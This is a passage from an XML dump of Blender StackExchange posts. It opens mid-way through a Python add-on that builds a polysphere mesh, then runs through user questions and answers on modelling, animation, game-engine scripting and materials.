(-0.3270326554775238, 0.7653955817222595, -0.3270326554775238), (0.8942768573760986, 0.0, 0.0), (0.8221502304077148, 0.0, 0.3518523871898651), (0.8221502304077148, -0.3518523871898651, 0.0), (0.8221502304077148, 0.0, -0.3518523871898651), (0.8221502304077148, 0.3518523871898651, 0.0), (0.7653955817222595, 0.3270326554775238, 0.3270326554775238), (0.7653955817222595, -0.3270326554775238, 0.3270326554775238), (0.7653955817222595, -0.3270326554775238, -0.3270326554775238), (0.7653955817222595, 0.3270326554775238, -0.3270326554775238), (0.0, -0.8942768573760986, 0.0), (0.0, -0.8221502304077148, 0.3518523871898651), (-0.3518523871898651, -0.8221502304077148, 0.0), (0.0, -0.8221502304077148, -0.3518523871898651), (0.3518523871898651, -0.8221502304077148, 0.0), (0.3270326554775238, -0.7653955817222595, 0.3270326554775238), (-0.3270326554775238, -0.7653955817222595, 0.3270326554775238), (-0.3270326554775238, -0.7653955817222595, -0.3270326554775238), (0.3270326554775238, -0.7653955817222595, -0.3270326554775238), (0.0, 0.0, -0.8942768573760986), (-0.3518523871898651, 0.0, -0.8221502304077148), (0.0, 0.3518523871898651, -0.8221502304077148), (0.3518523871898651, 0.0, -0.8221502304077148), (0.0, -0.3518523871898651, -0.8221502304077148), (-0.3270326554775238, -0.3270326554775238, -0.7653955817222595), (-0.3270326554775238, 0.3270326554775238, -0.7653955817222595), (0.3270326554775238, 0.3270326554775238, -0.7653955817222595), (0.3270326554775238, -0.3270326554775238, -0.7653955817222595), (0.0, 0.0, 0.8942768573760986), (0.3518523871898651, 0.0, 0.8221502304077148), (0.0, 0.3518523871898651, 0.8221502304077148), (-0.3518523871898651, 0.0, 0.8221502304077148), (0.0, -0.3518523871898651, 0.8221502304077148), (0.3270326554775238, -0.3270326554775238, 0.7653955817222595), (0.3270326554775238, 0.3270326554775238, 0.7653955817222595), (-0.3270326554775238, 0.3270326554775238, 0.7653955817222595), (-0.3270326554775238, -0.3270326554775238, 0.7653955817222595), (-0.5956068634986877, -0.5956068634986877, -0.30039307475090027), (-0.6323491930961609, -0.6323491930961609, 0.0), (-0.5956068634986877, -0.5956068634986877, 0.30039307475090027), (-0.5956068634986877, -0.30039307475090027, 0.5956068634986877), (-0.6323491930961609, 0.0, 0.6323491930961609), (-0.5956068634986877, 0.30039307475090027, 0.5956068634986877), (-0.5956068634986877, 0.5956068634986877, 0.30039307475090027), (-0.6323491930961609, 0.6323491930961609, 0.0), (-0.5956068634986877, 0.5956068634986877, -0.30039307475090027), (-0.5956068634986877, 0.30039307475090027, -0.5956068634986877), (-0.6323491930961609, 0.0, -0.6323491930961609), (-0.5956068634986877, -0.30039307475090027, -0.5956068634986877), (-0.30039307475090027, 0.5956068634986877, 0.5956068634986877), (0.0, 0.6323491930961609, 0.6323491930961609), (0.30039307475090027, 0.5956068634986877, 0.5956068634986877), (0.5956068634986877, 0.5956068634986877, 0.30039307475090027), (0.6323491930961609, 0.6323491930961609, 0.0), (0.5956068634986877, 0.5956068634986877, -0.30039307475090027), (0.30039307475090027, 0.5956068634986877, -0.5956068634986877), (0.0, 0.6323491930961609, -0.6323491930961609), (-0.30039307475090027, 0.5956068634986877, -0.5956068634986877), (0.5956068634986877, 0.30039307475090027, 0.5956068634986877), (0.6323491930961609, 0.0, 0.6323491930961609), (0.5956068634986877, -0.30039307475090027, 0.5956068634986877), (0.5956068634986877, -0.5956068634986877, 0.30039307475090027), (0.6323491930961609, -0.6323491930961609, 0.0), (0.5956068634986877, -0.5956068634986877, -0.30039307475090027), (0.5956068634986877, -0.30039307475090027, -0.5956068634986877), (0.6323491930961609, 0.0, -0.6323491930961609), (0.5956068634986877, 0.30039307475090027, -0.5956068634986877), (0.30039307475090027, -0.5956068634986877, 0.5956068634986877), (0.0, -0.6323491930961609, 0.6323491930961609), (-0.30039307475090027, -0.5956068634986877, 0.5956068634986877), (-0.30039307475090027, -0.5956068634986877, -0.5956068634986877), (0.0, -0.6323491930961609, -0.6323491930961609), (0.30039307475090027, -0.5956068634986877, -0.5956068634986877), (-0.5163109302520752, -0.5163109302520752, -0.5163109302520752), (-0.5163109302520752, -0.5163109302520752, 0.5163109302520752), (-0.5163109302520752, 0.5163109302520752, -0.5163109302520752), (-0.5163109302520752, 0.5163109302520752, 0.5163109302520752), (0.5163109302520752, -0.5163109302520752, -0.5163109302520752), (0.5163109302520752, -0.5163109302520752, 0.5163109302520752), (0.5163109302520752, 0.5163109302520752, -0.5163109302520752), (0.5163109302520752, 0.5163109302520752, 0.5163109302520752)]&#xA;    edges = []&#xA;    faces = [(0, 4, 5, 1), (1, 5, 57, 58), (4, 55, 56, 5), (5, 56, 91, 57), (0, 1, 6, 2), (2, 6, 60, 61), (1, 58, 59, 6), (6, 59, 93, 60), (0, 2, 7, 3), (3, 7, 63, 64), (2, 61, 62, 7), (7, 62, 92, 63), (0, 3, 8, 4), (4, 8, 54, 55), (3, 64, 65, 8), (8, 65, 90, 54), (9, 13, 14, 10), (10, 14, 66, 67), (13, 61, 60, 14), (14, 60, 93, 66), (9, 10, 15, 11), (11, 15, 69, 70), (10, 67, 68, 15), (15, 68, 97, 69), (9, 11, 16, 12), (12, 16, 72, 73), (11, 70, 71, 16), (16, 71, 96, 72), (9, 12, 17, 13), (13, 17, 62, 61), (12, 73, 74, 17), (17, 74, 92, 62), (18, 22, 23, 19), (19, 23, 75, 76), (22, 70, 69, 23), (23, 69, 97, 75), (18, 19, 24, 20), (20, 24, 78, 79), (19, 76, 77, 24), (24, 77, 95, 78), (18, 20, 25, 21), (21, 25, 81, 82), (20, 79, 80, 25), (25, 80, 94, 81), (18, 21, 26, 22), (22, 26, 71, 70), (21, 82, 83, 26), (26, 83, 96, 71), (27, 31, 32, 28), (28, 32, 84, 85), (31, 79, 78, 32), (32, 78, 95, 84), (27, 28, 33, 29), (29, 33, 56, 55), (28, 85, 86, 33), (33, 86, 91, 56), (27, 29, 34, 30), (30, 34, 87, 88), (29, 55, 54, 34), (34, 54, 90, 87), (27, 30, 35, 31), (31, 35, 80, 79), (30, 88, 89, 35), (35, 89, 94, 80), (36, 40, 41, 37), (37, 41, 65, 64), (40, 88, 87, 41), (41, 87, 90, 65), (36, 37, 42, 38), (38, 42, 74, 73), (37, 64, 63, 42), (42, 63, 92, 74), (36, 38, 43, 39), (39, 43, 83, 82), (38, 73, 72, 43), (43, 72, 96, 83), (36, 39, 44, 40), (40, 44, 89, 88), (39, 82, 81, 44), (44, 81, 94, 89), (45, 49, 50, 46), (46, 50, 77, 76), (49, 85, 84, 50), (50, 84, 95, 77), (45, 46, 51, 47), (47, 51, 68, 67), (46, 76, 75, 51), (51, 75, 97, 68), (45, 47, 52, 48), (48, 52, 59, 58), (47, 67, 66, 52), (52, 66, 93, 59), (45, 48, 53, 49), (49, 53, 86, 85), (48, 58, 57, 53), (53, 57, 91, 86)]&#xA;&#xA;    mesh = bpy.data.meshes.new(name=&quot;New Polysphere&quot;)&#xA;    mesh.from_pydata(verts, edges, faces)&#xA;    # useful for development when the mesh may be invalid.&#xA;    # mesh.validate(verbose=True)&#xA;    object_data_add(context, mesh, operator=self)&#xA;&#xA;&#xA;class OBJECT_OT_add_polysphere(Operator, AddObjectHelper):&#xA;    &quot;&quot;&quot;Create a new Polysphere&quot;&quot;&quot;&#xA;    bl_idname = &quot;mesh.add_polysphere&quot;&#xA;    bl_label = &quot;Add New Polysphere&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    scale = FloatVectorProperty(&#xA;            name=&quot;scale&quot;,&#xA;            default=(1.0, 1.0, 1.0),&#xA;            subtype='TRANSLATION',&#xA;            description=&quot;scaling&quot;,&#xA;            )&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        add_polysphere(self, context)&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;# Registration&#xA;&#xA;def add_object_button(self, context):&#xA;    self.layout.operator(OBJECT_OT_add_polysphere.bl_idname,text=&quot;Add Polysphere&quot;,icon='MESH_UVSPHERE')&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(OBJECT_OT_add_polysphere)&#xA;    bpy.types.INFO_MT_mesh_add.append(add_object_button)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(OBJECT_OT_add_polysphere)&#xA;    bpy.types.INFO_MT_mesh_add.remove(add_object_button)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="530" LastActivityDate="2015-05-04T18:03:14.503" Title="Deleting unwanted New objects in the &quot;add Object&quot; menu" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30386" PostTypeId="2" ParentId="30385" CreationDate="2015-05-04T17:32:17.687" Score="4" Body="&lt;p&gt;Yeah, just hit &lt;kbd&gt;F8&lt;/kbd&gt; in this case that will refresh the python environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WdxD9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="3710" LastEditDate="2015-05-04T18:03:14.503" LastActivityDate="2015-05-04T18:03:14.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30387" PostTypeId="2" ParentId="30356" CreationDate="2015-05-04T17:52:42.570" Score="5" Body="&lt;p&gt;ok, I found a good workflow to do it, I applied the mirror modifier then I activate/deactivate the &lt;strong&gt;&lt;em&gt;X Mirror&lt;/em&gt;&lt;/strong&gt; checkbox in the mesh options tab whenever I want to work on the symmetric/non symmetric vertices respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gPhHO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note: this only works for the meshes symmetric along x axis (but still useful :))&lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2015-05-04T17:52:42.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30388" PostTypeId="1" CreationDate="2015-05-04T18:13:39.810" Score="3" ViewCount="97" Body="&lt;p&gt;I have just started with Blender and normally I would dig into the manual first (so far I have done little more than do the ginger bread man tutorial). But this month I have to do an assignment for which I want to see the forces acting inside a model under a static load (a hook with a coat hanging on it) and I was wondering if I could do this with Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have briefly looked through the physics section of the manual. I don't quite understand all of it yet, but what I gathered so far is that weight is not physical weight but the number of vertices (so in a way the complexity of the model), particles aren't physical particles and physics only works for fluids. Is that correct?&#xA;And the static physics section doesn't seem to cover it either. &lt;/p&gt;&#xA;" OwnerUserId="14165" LastActivityDate="2015-05-04T18:13:39.810" Title="Can one see static forces in Blender?" Tags="&lt;physics&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30389" PostTypeId="2" ParentId="822" CreationDate="2015-05-04T19:14:02.250" Score="1" Body="&lt;p&gt;I am a newbie with Blender, but a simple way (in Linux) to completely return to the the way Blender starts up as it did the first time is to delete the directory ./home//.config/blender/2.74 (or whatever the version number may be). To be able to access .config set 'show hidden files' in the file browser (probably under 'view').&#xA;Since this directory doesn't exist just after installation, it shouldn't cause any problems. Still, you might want to not delete it, but simply rename it, in case you change your mind (I assume that will work too).&#xA;Mind you, I'm a newbie, so correct me if I'm wrong.&lt;/p&gt;&#xA;" OwnerUserId="14165" LastActivityDate="2015-05-04T19:14:02.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30390" PostTypeId="1" AcceptedAnswerId="30411" CreationDate="2015-05-04T19:34:28.830" Score="6" ViewCount="1466" Body="&lt;p&gt;I want to create a png file that is an animation of fire for a Minecraft resource pack. I can render the images as separate files and painstakingly put them together in Photoshop. I would rather see if I can do that in Blender or with another tool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of the desired outcome. Sorry for the size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7ThMm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14166" LastEditorUserId="599" LastEditDate="2015-05-05T04:49:28.177" LastActivityDate="2021-02-07T04:38:06.833" Title="Is it possible in Blender to create a animated png vertical strip?" Tags="&lt;rendering&gt;&lt;export&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30391" PostTypeId="1" CreationDate="2015-05-04T20:16:26.197" Score="4" ViewCount="417" Body="&lt;p&gt;I created an animation, a creature is walking. I would like to duplicate it several times in one scene but with different start frame. For example, obj1 starts from frame #5, obj2 starts from frame #10 . This way they don't look like they are the same object. How can I do that? &#xA;BTW, I am using Cycles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="14168" LastActivityDate="2015-05-07T17:42:19.747" Title="How to duplicate an object with random start frame?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30392" PostTypeId="1" CreationDate="2015-05-04T20:35:49.443" Score="6" ViewCount="11256" Body="&lt;p&gt;I have been searching for a solution and it should not be that hard. This is what I tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a cube and rotated it along the Z axis in object mode.&#xA;In edit mode I switched to the local transform orientation, which looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tew6b.png&quot; alt=&quot;Cube with local axis&quot;&gt;&#xA;Which is exactly what I wanted.&#xA;Next I Extrude, and press X twice to presumably lock to the local X axis. However it ends up pointing in the wrong direction and in the bottom left it says &quot;along normal X&quot; which is not what I want:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KQWVj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get blender to extrude along a local axis?&#xA;Any help is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="14169" LastEditorUserId="599" LastEditDate="2015-05-04T21:46:47.340" LastActivityDate="2015-05-04T21:46:47.340" Title="How can I extrude an edge along the local axis?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="30393" PostTypeId="2" ParentId="30391" CreationDate="2015-05-04T20:45:47.617" Score="3" Body="&lt;p&gt;duplicate your character (&lt;strong&gt;shift+D&lt;/strong&gt;) then right click to keep it in the same place above your original character&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then shift the new duplicated character by changing the value of delta location/rotation/scale (&lt;strong&gt;object tab &gt; delta transform&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v1V6k.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now you have two distinct objects moving together, you can shift the keyframes of the second object in the dope sheet editor (&lt;strong&gt;b&lt;/strong&gt; to box select all keyframes then g to move them) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ha3Gl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now you have two objects with two shifted animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sq01p.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12966" LastEditorUserId="12966" LastEditDate="2015-05-07T17:42:19.747" LastActivityDate="2015-05-07T17:42:19.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30394" PostTypeId="1" AcceptedAnswerId="30395" CreationDate="2015-05-04T20:48:03.027" Score="3" ViewCount="3039" Body="&lt;p&gt;I am using Blender 2.74.  Is it possible to use transparent texture in the GLSL shading mode in BGE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get it working in the multitexture mode thought. But no matter how I try, I can't get it working in the GLSL shading mode.  Can anyone please explain how to get it working if it is at all possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any insight.&lt;/p&gt;&#xA;" OwnerUserId="9816" LastActivityDate="2015-05-04T21:32:04.670" Title="How to use transparent texture in the GLSL shading mode in BGE?" Tags="&lt;game-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30395" PostTypeId="2" ParentId="30394" CreationDate="2015-05-04T21:32:04.670" Score="4" Body="&lt;p&gt;First in Material tab enable &lt;strong&gt;Z Transparency&lt;/strong&gt; and set Alpha to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S6bwp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the Material Texture you need to enable &lt;strong&gt;Alpha&lt;/strong&gt; in Influence section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YvA1z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-04T21:32:04.670" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30396" PostTypeId="2" ParentId="30392" CreationDate="2015-05-04T21:45:56.913" Score="8" Body="&lt;p&gt;This is because the &lt;em&gt;Extrude and Move&lt;/em&gt; operator seems to always use &lt;em&gt;Normal&lt;/em&gt; orientation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the selected orientation (in this case &lt;em&gt;Local&lt;/em&gt;), cancel the operator (&lt;kbd&gt;Esc&lt;/kbd&gt; or &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;), then press &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; in order to use the normal &lt;em&gt;Move&lt;/em&gt; operator:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kXvB9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-04T21:45:56.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30397" PostTypeId="1" CreationDate="2015-05-04T22:06:19.430" Score="1" ViewCount="917" Body="&lt;p&gt;I made the ocean and floating object, using this tutorial (&lt;a href=&quot;https://www.youtube.com/watch?v=11F1NRpqrzY&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=11F1NRpqrzY&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to add to a floating object several other objects, so they swam with it? For example, how to add a mast and sail to the hull of the ship, but don't combine all of these objects into a single object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to use constraints, and give them a &quot;copy location&quot; and &quot;copy rotation&quot; of the floating object, but I don't know how to apply these constraints to a group of objects. If I apply them individually to each object - they will move in the wrong position, and I have to move them back in edit mode. I have a lot of objects, so this is not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to solve this problem? &#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="13487" LastActivityDate="2015-05-04T22:06:19.430" Title="How to add to a floating object, several other objects, so they swam with it?" Tags="&lt;animation&gt;&lt;constraints&gt;&lt;groups&gt;&lt;ocean-simulation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30398" PostTypeId="1" CreationDate="2015-05-04T22:19:52.517" Score="4" ViewCount="851" Body="&lt;p&gt;When creating a custom property via e.g. &lt;code&gt;bpy.props.FloatProperty()&lt;/code&gt;, we can specify a user-defined function to be invoked every time the value of said property changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the property exists, e.g. added via the &lt;em&gt;Properties Editor&lt;/em&gt;, how do we &lt;strong&gt;assign or re-assign the update function&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Properties Editor&lt;/em&gt; (Blender 2.74) does not offer that, and, in Python, I don't know how to access the property itself, as opposed to &lt;a href=&quot;https://blender.stackexchange.com/questions/5864/how-to-access-custom-properties-from-python&quot;&gt;merely its value&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11585" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2019-03-27T08:52:39.063" Title="Having added a Custom Property in Editor, how do we assign an Update function?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30399" PostTypeId="2" ParentId="30350" CreationDate="2015-05-04T22:34:52.597" Score="2" Body="&lt;p&gt;All you need it to load a script file using an Always Sensor and a Python Controller. In the script file put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import aud&#xA;device = aud.device()&#xA;sound = aud.Factory.file(&quot;sound.ogg&quot;)&#xA;sound = sound.pitch(2)&#xA;device.play(sound)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will load the file, pitch-shift it and play it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z9QGH.jpg&quot; alt=&quot;blend setup for script-based sound loading, editing and playback&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13843" LastActivityDate="2015-05-04T22:34:52.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30400" PostTypeId="2" ParentId="27720" CreationDate="2015-05-04T22:55:14.553" Score="1" Body="&lt;p&gt;It turns out the problem was simply Fresnel's strange behavior on backfaces. Since Fresnel is dependent on facing, back faces become very reflective. If you invert the fresnel on backfaces, then everything works fine. See here for how to do that: &lt;a href=&quot;https://blender.stackexchange.com/questions/19548/backfaces-give-strange-results-with-fresnel-node-in-cycles&quot;&gt;backfaces give strange results with fresnel node in cycles&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-05-04T22:55:14.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30401" PostTypeId="2" ParentId="29258" CreationDate="2015-05-04T23:27:37.690" Score="2" Body="&lt;p&gt;When you write &lt;code&gt;sit1 = own['Situation1']&lt;/code&gt; then &lt;code&gt;sit1&lt;/code&gt; will have the value of &lt;code&gt;own['Situation1']&lt;/code&gt; but it's not the same variable ( because of the way python works ), so you should assign the new value to &lt;code&gt;own['Situation1']&lt;/code&gt; itself, this should work ( i have removed the second if/else since it is the exact opposite of the first ) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic&#xA;&#xA;def property(cont):    &#xA;    own = cont.owner&#xA;&#xA;    if 'Ammo_Reserve' in own and 'Ammo_Fired' in own:&#xA;&#xA;        reserve = own['Ammo_Reserve']&#xA;        fired = own['Ammo_Fired']&#xA;        sit1 = own['Situation1']   &#xA;&#xA;    else:&#xA;        print('No properties found in object')&#xA;        return&#xA;&#xA;    if reserve &amp;lt; fired:&#xA;        print('Ammo_Reserve is less than Ammo_Fired')&#xA;        print('Ammo_Reserve error (greater than or equal to)')&#xA;        own['Situation1'] = True&#xA;&#xA;    else:&#xA;        print('Ammo_Reserve error (less than)')&#xA;        print('Ammo_Reserve is greater than or equal to Ammo_Fired')&#xA;        own['Situation1'] = False&#xA;&#xA;cont = logic.getCurrentController()      &#xA;property(cont)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;example file &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/216/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=216&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-05-04T23:27:37.690" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30403" PostTypeId="1" AcceptedAnswerId="30406" CreationDate="2015-05-05T00:00:24.533" Score="0" ViewCount="220" Body="&lt;p&gt;Does anybody see why my edge ring is only on the outside of the object, but not on the inside when I use the &quot;Loop Cut and Slide&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IoD2X.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red arrow points to where I expected the &quot;inner&quot; edge ring to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14170" LastActivityDate="2015-05-05T00:24:25.040" Title="No inner edge ring" Tags="&lt;edges&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30404" PostTypeId="1" AcceptedAnswerId="30408" CreationDate="2015-05-05T00:03:04.263" Score="1" ViewCount="304" Body="&lt;p&gt;I have created an animation that works perfectly with alt+A. I tried to use actuators and a script to make it work in bge, but everytime I run it the plane disappears. Here is the &lt;a href=&quot;http://www.pasteall.org/blend/35903&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you move the mouse, the 3 arrows follow the cursor. When you right click on the ground plane, the animation should have taken place. It does not. Instead the ground plane disappears leaving behind a small green line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the module code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Import the bge library.&#xA;import bge&#xA;&#xA;#Make the mouse cursor visible during game running time.&#xA;bge.render.showMouse(True)&#xA;&#xA;#Set the current game scene and python controller to variables.&#xA;scene = bge.logic.getCurrentScene()&#xA;cont = bge.logic.getCurrentController()&#xA;&#xA;#The function &quot;initialization&quot; is responsible for setting all scene objects, object sensors and object actuators to variables.&#xA;#These variables are created into the function but are for global use. Their names are the names of the objects/sensors/actuators in blender.&#xA;def initialization():&#xA;    for k in scene.objects:&#xA;        exec(&quot;globals()[\&quot;%s\&quot;]=scene.objects[\&quot;%s\&quot;]&quot;%(k,k))&#xA;    for k in ground.sensors:&#xA;        exec(&quot;globals()[\&quot;%s\&quot;]=ground.sensors[\&quot;%s\&quot;]&quot;%(k,k))&#xA;    for k in cont.actuators:&#xA;        exec(&quot;globals()[\&quot;%s\&quot;]=cont.actuators[\&quot;%s\&quot;]&quot;%(k,k))&#xA;&#xA;#The function &quot;empty_to_pos&quot; gives the cursor_empty coordinates on the ground.  &#xA;def empty_to_pos():&#xA;    cursor_empty.worldPosition = (mop.hitPosition[0],mop.hitPosition[1],ground.worldPosition.z)&#xA;&#xA;#The function &quot;cursor_anim&quot; is responsible for the start and end of the cursor animation.&#xA;def cursor_anim():&#xA;    cont.activate(anim_arrow_1)&#xA;    cont.activate(anim_arrow_5)&#xA;    cont.activate(anim_arrow_9)&#xA;&#xA;initialization()&#xA;empty_to_pos()&#xA;if (right_click.positive):  &#xA;    cursor_anim()&#xA;&#xA;&#xA;print (&quot;I reached the end of track.py&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and an image:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9qMxK.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why the animation is not working and why the plane disappears? Thanks&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-05-05T01:26:22.673" Title="plane disappears during animation" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30405" PostTypeId="2" ParentId="30403" CreationDate="2015-05-05T00:03:40.803" Score="3" Body="&lt;p&gt;By hovering over the inner edges, you should be able to do this. Make sure you are not near enough to the top of the mesh to cause issues of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xuKkp.gif&quot; alt=&quot;Example GIF&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this did not work, try looking for missing faces, non-uniform geometry, duplicate vertices, or N-Gons (5+ vertex faces).&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-05-05T00:09:06.513" LastActivityDate="2015-05-05T00:09:06.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
